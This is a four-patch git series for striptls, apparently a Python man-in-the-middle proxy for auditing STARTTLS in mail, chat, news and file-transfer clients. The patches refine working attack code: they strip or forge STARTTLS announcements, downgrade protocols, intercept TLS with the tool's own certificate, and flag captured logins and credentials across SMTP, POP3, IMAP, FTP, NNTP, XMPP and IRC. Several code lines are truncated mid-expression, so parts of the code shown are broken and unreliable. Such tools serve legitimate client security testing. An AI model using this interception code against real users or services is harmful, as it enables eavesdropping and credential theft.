From a68a979ee647a5722151d4bfcaa8864e59a156a8 Mon Sep 17 00:00:00 2001 From: tintinweb Date: Tue, 1 Mar 2016 12:09:52 -0500 Subject: [PATCH 1/4] refactor code for nonblocking ssl --- striptls/striptls.py | 103 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 90 insertions(+), 13 deletions(-) diff --git a/striptls/striptls.py b/striptls/striptls.py index 6c46922..29993ad 100644 --- a/striptls/striptls.py +++ b/striptls/striptls.py @@ -40,12 +40,27 @@ def accept(self): return self.socket.accept() def recv(self, buflen=8*1024): + chunks = [] + chunk = True if self.socket_ssl: - self.recvbuf = self.socket_ssl.read(buflen) + data_pending = buflen + while chunk and data_pending: + chunk = self.socket_ssl.read(data_pending) + chunks.append(chunk) + data_pending = self.socket_ssl.pending() else: - self.recvbuf = self.socket.recv(buflen) + chunks.append(self.socket.recv(buflen)) + self.recvbuf = ''.join(chunks) return self.recvbuf + def recv_blocked(self, buflen=8*1024, timeout=None): + end = time.time()+timeout if timeout else 0 + while not timeout or time.time()=1: @@ -77,6 +93,7 @@ def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs): if not args and not kwargs.get('sock'): kwargs['sock'] = self.socket self.socket_ssl = ctx.wrap_socket(*args, **kwargs) + self.socket_ssl.setblocking(0) # nonblocking for select class ProtocolDetect(object): PROTO_SMTP = 25 @@ -149,6 +166,7 @@ def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size= self.outbound = TcpSockBuff(outbound, peer=target) self.buffer_size = buffer_size self.protocol = ProtocolDetect(target=target) + self.datastore = {} def __repr__(self): return " [prxy: %s] --> [target: %s]>"%(hex(id(self)), @@ -241,7 +259,7 @@ def set_callback(self, name, f): def main_loop(self): self.input_list.add(self.inbound) while True: - time.sleep(self.delay) + #time.sleep(self.delay) inputready, _, _ = select.select(self.input_list, [], []) for sock in inputready: @@ -261,6 +279,10 @@ def main_loop(self): try: session = self.get_session_by_client_sock(sock) session.notify_read(sock) + except ssl.SSLError, se: + if se.errno != ssl.SSL_ERROR_WANT_READ: + raise + continue except SessionTerminatedException: self.input_list.difference_update(session.get_peer_sockets()) logger.warning("%s terminated."%session) @@ -393,7 +415,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if "220" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -405,7 +427,62 @@ def mangle_client_data(session, data, rewrite): elif "mail from" in data.lower(): rewrite.set_result(session, True) return data - + + class InboundStarttlsProxy: + ''' Inbound is starttls, outbound is plain + 1) Do not mangle server data + 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. + in case client does not check keys + ''' + @staticmethod + def mangle_server_data(session, data, rewrite): + # keep track of stripped server ehlo/helo + if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and "250" in data and not session.datastore.get("server_ehlo_stripped"): #only do this once + # wait for full line + while not "250 " in data: + data+=session.outbound.recv_blocked() + + features = [f for f in data.strip().split('\r\n') if not "STARTTLS" in f] + if features and not features[-1].startswith("250 "): + features[-1] = features[-1].replace("250-","250 ") # end marker + # force starttls announcement + session.datastore['server_ehlo_stripped']= '\r\n'.join(features)+'\r\n' # stripped + + if len(features)>1: + features.insert(-1,"250-STARTTLS") + else: + features.append("250 STARTTLS") + features[0]=features[0].replace("250 ","250-") + data = '\r\n'.join(features)+'\r\n' # forced starttls + session.datastore['server_ehlo'] = data + + return data + @staticmethod + def mangle_client_data(session, data, rewrite): + if "STARTTLS" in data: + # do inbound STARTTLS + session.inbound.sendall("220 Go ahead\r\n") + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n"))) + context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) + context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, + keyfile=Vectors._TLS_KEYFILE) + session.inbound.ssl_wrap_socket_with_context(context, server_side=True) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL Handshake"%(session)) + # inbound ssl, fake server ehlo on helo/ehlo + indata = session.inbound.recv_blocked() + if not any(e in indata for e in ('ehlo','helo')): + raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata)) + logging.debug("%s [client] => [mangled] %s"%(session,repr(indata))) + session.inbound.sendall(session.datastore["server_ehlo_stripped"]) + logging.debug("%s [client] <= [mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"]))) + data=None + elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"): + # just do not forward the second ehlo/helo + data=None + elif "mail from" in data.lower(): + rewrite.set_result(session, True) + return data + class ProtocolDowngradeStripExtendedMode: ''' Return error on EHLO to force peer to non-extended mode ''' @@ -503,7 +580,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if "+OK" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -577,7 +654,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if "%s OK"%id not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -650,7 +727,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if not resp_data.startswith("234"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -723,7 +800,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if not resp_data.startswith("382"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -776,7 +853,7 @@ def mangle_server_data(session, data, rewrite): # do outbound starttls as required by server session.outbound.sendall("") logging.debug("%s [client] => [server][mangled] %s"%(session,repr(""))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() if not resp_data.startswith(" [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if not resp_data.startswith(" [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if not " OK " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) @@ -1098,7 +1175,7 @@ def mangle_client_data(session, data, rewrite): session.outbound.sendall(data) logging.debug("%s [client] => [server] %s"%(session,repr(data))) - resp_data = session.outbound.recv() + resp_data = session.outbound.recv_blocked() logging.debug("%s <= [server] %s"%(session,repr(resp_data))) if not " 670 " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) From e1cbc79da937555cd12ee74b12bd8523bbe47d6c Mon Sep 17 00:00:00 2001 From: tintinweb Date: Thu, 17 Mar 2016 13:43:28 -0400 Subject: [PATCH 2/4] improves socket and edge-case handling --- striptls/striptls.py | 214 ++++++++++++++++++++++++++----------------- 1 file changed, 129 insertions(+), 85 deletions(-) diff --git a/striptls/striptls.py b/striptls/striptls.py index 29993ad..89c4383 100644 --- a/striptls/striptls.py +++ b/striptls/striptls.py @@ -1,11 +1,12 @@ #! /usr/bin/env python # -*- coding: UTF-8 -*- -# Author : tintinweb@oststrom.com +# Author : ''' inbound outbound [inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target] ''' import sys +import os import logging import socket import select @@ -40,26 +41,29 @@ def accept(self): return self.socket.accept() def recv(self, buflen=8*1024): - chunks = [] - chunk = True if self.socket_ssl: + chunks = [] + chunk = True data_pending = buflen while chunk and data_pending: chunk = self.socket_ssl.read(data_pending) chunks.append(chunk) data_pending = self.socket_ssl.pending() + self.recvbuf = ''.join(chunks) else: - chunks.append(self.socket.recv(buflen)) - self.recvbuf = ''.join(chunks) + self.recvbuf = self.socket.recv(buflen) return self.recvbuf def recv_blocked(self, buflen=8*1024, timeout=None): + force_first_loop_iteration = True end = time.time()+timeout if timeout else 0 - while not timeout or time.time()"%(hex(id(self)),self.listen, self.target) @@ -257,15 +266,20 @@ def set_callback(self, name, f): self.callbacks[name] = f def main_loop(self): - self.input_list.add(self.inbound) + self.input_list.add(self.bind) while True: - #time.sleep(self.delay) + time.sleep(self.delay) inputready, _, _ = select.select(self.input_list, [], []) for sock in inputready: + if not sock in self.input_list: + # Check if inputready sock is still in the list of socks to read from + # as SessionTerminateException might remove multiple sockets from that list + # this might otherwise lead to bad FD access exceptions + continue session = None try: - if sock == self.inbound: + if sock == self.bind: # on_accept session = Session(sock, target=self.target) for k,v in self.callbacks.iteritems(): @@ -287,12 +301,25 @@ def main_loop(self): self.input_list.difference_update(session.get_peer_sockets()) logger.warning("%s terminated."%session) except Exception, e: - logger.warning("main: %s"%repr(e)) + logger.error("main: %s"%repr(e)) + if isinstance(e,IOError): + for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith("_TLS_")): + if not os.path.isfile(value): + logger.error("%s = %s - file not found"%(kname, repr(value))) if session: + logger.error("main: removing all sockets associated with session that raised exception: %s"%repr(session)) + try: + session.close() + except SessionTerminatedException: pass self.input_list.difference_update(session.get_peer_sockets()) + elif sock and sock!=self.bind: + # exception for non-bind socket - probably fine to close and remove it from our list + logger.error("main: removing socket that probably raised the exception") + sock.close() + self.input_list.remove(sock) else: - self.inbound.remove(sock) - raise + # this is just super-fatal - something happened while processing our bind socket. + raise class Vectors: _TLS_CERTFILE = "server.pem" @@ -319,24 +346,6 @@ def mangle_client_data(session, data, rewrite): rewrite.set_result(session, True) return data - class ProtocolDowngradeToV2: - ''' Return IMAP2 instead of IMAP4 in initial server response - ''' - @staticmethod - def mangle_server_data(session, data, rewrite): - if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")): - session.inbound.sendall("OK IMAP2 Server Ready\r\n") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n"))) - data=None - return data - @staticmethod - def mangle_client_data(session, data, rewrite): - if "STARTTLS" in data: - raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) - elif "mail from" in data.lower(): - rewrite.set_result(session, True) - return data - class StripWithInvalidResponseCode: ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can) 2) Respond to client STARTTLS with invalid response code @@ -405,24 +414,25 @@ def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS session.inbound.sendall("220 Go ahead\r\n") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("220 Go ahead\r\n"))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("220 Go ahead\r\n"))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) - # outbound ssl + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) + # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "220" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) + session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) - session.outbound.ssl_wrap_socket() - data=None elif "mail from" in data.lower(): rewrite.set_result(session, True) @@ -466,15 +476,16 @@ def mangle_client_data(session, data, rewrite): context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # inbound ssl, fake server ehlo on helo/ehlo indata = session.inbound.recv_blocked() if not any(e in indata for e in ('ehlo','helo')): raise ProtocolViolationException("whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s"%repr(indata)) - logging.debug("%s [client] => [mangled] %s"%(session,repr(indata))) + logging.debug("%s [client] => [ ][mangled] %s"%(session,repr(indata))) session.inbound.sendall(session.datastore["server_ehlo_stripped"]) - logging.debug("%s [client] <= [mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"]))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr(session.datastore["server_ehlo_stripped"]))) data=None elif any(e in data for e in ('ehlo','helo')) and session.datastore.get("server_ehlo_stripped"): # just do not forward the second ehlo/helo @@ -570,23 +581,25 @@ def mangle_client_data(session, data, rewrite): if "stls"==data.strip().lower(): # do inbound STARTTLS session.inbound.sendall("+OK Begin TLS negotiation\r\n") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n"))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("+OK Begin TLS negotiation\r\n"))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_CERTFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "+OK" not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif any(c in data.lower() for c in ('list','user ','pass ')): @@ -629,7 +642,25 @@ def mangle_client_data(session, data, rewrite): elif " LOGIN " in data: rewrite.set_result(session, True) return data - + + class ProtocolDowngradeToV2: + ''' Return IMAP2 instead of IMAP4 in initial server response + ''' + @staticmethod + def mangle_server_data(session, data, rewrite): + if all(kw.lower() in data.lower() for kw in ("IMAP4","* OK ")): + session.inbound.sendall("OK IMAP2 Server Ready\r\n") + logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("OK IMAP2 Server Ready\r\n"))) + data=None + return data + @staticmethod + def mangle_client_data(session, data, rewrite): + if "STARTTLS" in data: + raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(data)) + elif "mail from" in data.lower(): + rewrite.set_result(session, True) + return data + class UntrustedIntercept: ''' 1) Do not mangle server data 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted. @@ -644,23 +675,26 @@ def mangle_client_data(session, data, rewrite): id = data.split(' ',1)[0].strip() # do inbound STARTTLS session.inbound.sendall("%s OK Begin TLS negotation now\r\n"%id) - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("%s OK Begin TLS negotation now\r\n"%id))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_CERTFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) + # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if "%s OK"%id not in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif " LOGIN " in data: @@ -717,23 +751,25 @@ def mangle_client_data(session, data, rewrite): if "AUTH TLS" in data: # do inbound STARTTLS session.inbound.sendall("234 OK Begin TLS negotation now\r\n") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n"))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("234 OK Begin TLS negotation now\r\n"))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith("234"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "USER " in data: @@ -790,24 +826,26 @@ def mangle_client_data(session, data, rewrite): if "STARTTLS" in data: # do inbound STARTTLS session.inbound.sendall("382 Continue with TLS negotiation\r\n") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n"))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr("382 Continue with TLS negotiation\r\n"))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith("382"): raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() - + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) + data=None elif "GROUP " in data: rewrite.set_result(session, True) @@ -857,7 +895,7 @@ def mangle_server_data(session, data, rewrite): if not resp_data.startswith(" [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() return data @@ -886,23 +924,25 @@ def mangle_client_data(session, data, rewrite): if "") - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr(""))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr(""))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not resp_data.startswith(" [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif "" in data: @@ -962,23 +1002,25 @@ def mangle_client_data(session, data, rewrite): # do inbound STARTTLS id = data.split(' ',1)[0].strip() session.inbound.sendall('%s OK "Begin TLS negotiation now"'%id) - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr('%s OK "Begin TLS negotiation now"'%id))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr('%s OK "Begin TLS negotiation now"'%id))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not " OK " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif " AUTHENTICATE " in data: @@ -1165,23 +1207,25 @@ def mangle_client_data(session, data, rewrite): except IndexError: pass session.inbound.sendall(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params) - logging.debug("%s [client] <= [server][mangled] %s"%(session,repr(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params))) + logging.debug("%s [client] <= [ ][mangled] %s"%(session,repr(":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\r\n"%params))) context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, keyfile=Vectors._TLS_KEYFILE) + logging.debug("%s [client] <= [ ][mangled] waiting for inbound SSL handshake"%(session)) session.inbound.ssl_wrap_socket_with_context(context, server_side=True) - logging.debug("%s [client] <= [server][mangled] waiting for inbound SSL Handshake"%(session)) + logging.debug("%s [client] <> [ ] SSL handshake done: %s"%(session, session.inbound.socket_ssl.cipher())) # outbound ssl session.outbound.sendall(data) - logging.debug("%s [client] => [server] %s"%(session,repr(data))) + logging.debug("%s [ ] => [server][mangled] %s"%(session,repr(data))) resp_data = session.outbound.recv_blocked() - logging.debug("%s <= [server] %s"%(session,repr(resp_data))) + logging.debug("%s [ ] <= [server][mangled] %s"%(session,repr(resp_data))) if not " 670 " in resp_data: raise ProtocolViolationException("whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s"%repr(resp_data)) - logging.debug("%s [client] => [server][mangled] performing outbound SSL handshake"%(session)) + logging.debug("%s [ ] => [server][mangled] performing outbound SSL handshake"%(session)) session.outbound.ssl_wrap_socket() + logging.debug("%s [ ] <> [server] SSL handshake done: %s"%(session, session.outbound.socket_ssl.cipher())) data=None elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')): From 2f1b7c5da30a04e5b5cc6997d60a518419d1c46e Mon Sep 17 00:00:00 2001 From: tintinweb Date: Thu, 17 Mar 2016 23:55:22 +0100 Subject: [PATCH 3/4] feat guess remote/listen port --- striptls/striptls.py | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/striptls/striptls.py b/striptls/striptls.py index 89c4383..bb12dc1 100644 --- a/striptls/striptls.py +++ b/striptls/striptls.py @@ -1356,15 +1356,24 @@ def main(): logger.setLevel(logging.DEBUG) if not options.remote: parser.error("mandatory option: remote") - else: + if ":" not in options.remote and ":" in options.listen: + # no port in remote, but there is one in listen. use this one + options.remote = (options.remote.strip(), int(options.listen.strip().split(":")[1])) + logger.warning("no remote port specified - falling back to %s:%d (listen port)"%options.remote) + elif ":" in options.remote: options.remote = options.remote.strip().split(":") options.remote = (options.remote[0], int(options.remote[1])) + else: + parser.error("neither remote nor listen is in the format :") if not options.listen: - logger.warning("no listen port specified - falling back to 0.0.0.0:%d"%options.remote[1]) + logger.warning("no listen port specified - falling back to 0.0.0.0:%d (remote port)"%options.remote[1]) options.listen = ("0.0.0.0",options.remote[1]) - else: + elif ":" in options.listen: options.listen = options.listen.strip().split(":") options.listen = (options.listen[0], int(options.listen[1])) + else: + options.listen = (options.listen.strip(), options.remote[1]) + logger.warning("no listen port specified - falling back to %s:%d (remote port)"%options.listen) options.vectors = [o.strip() for o in options.vectors.strip().split(",")] if "ALL" in options.vectors: options.vectors = all_vectors From 3e130099d064bfad9f74f76504b0ec23c6b7f747 Mon Sep 17 00:00:00 2001 From: tintinweb Date: Fri, 18 Mar 2016 04:00:41 -0400 Subject: [PATCH 4/4] fixed nonblocking ssl.write handling large payloads may lead to SSLWantWriteError. in this case, try to retransmit the data --- striptls/striptls.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/striptls/striptls.py b/striptls/striptls.py index bb12dc1..0bb605e 100644 --- a/striptls/striptls.py +++ b/striptls/striptls.py @@ -65,9 +65,20 @@ def recv_blocked(self, buflen=8*1024, timeout=None): pass force_first_loop_iteration = False - def send(self, data): + def send(self, data, retransmit_delay=0.1): if self.socket_ssl: - self.socket_ssl.write(data) + last_exception = None + for _ in xrange(3): + try: + self.socket_ssl.write(data) + last_exception = None + break + except ssl.SSLWantWriteError,swwe: + logger.warning("TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s"%(_,retransmit_delay,repr(swwe))) + last_exception = swwe + time.sleep(retransmit_delay) + if last_exception: + raise last_exception else: self.socket.send(data) self.sndbuf = data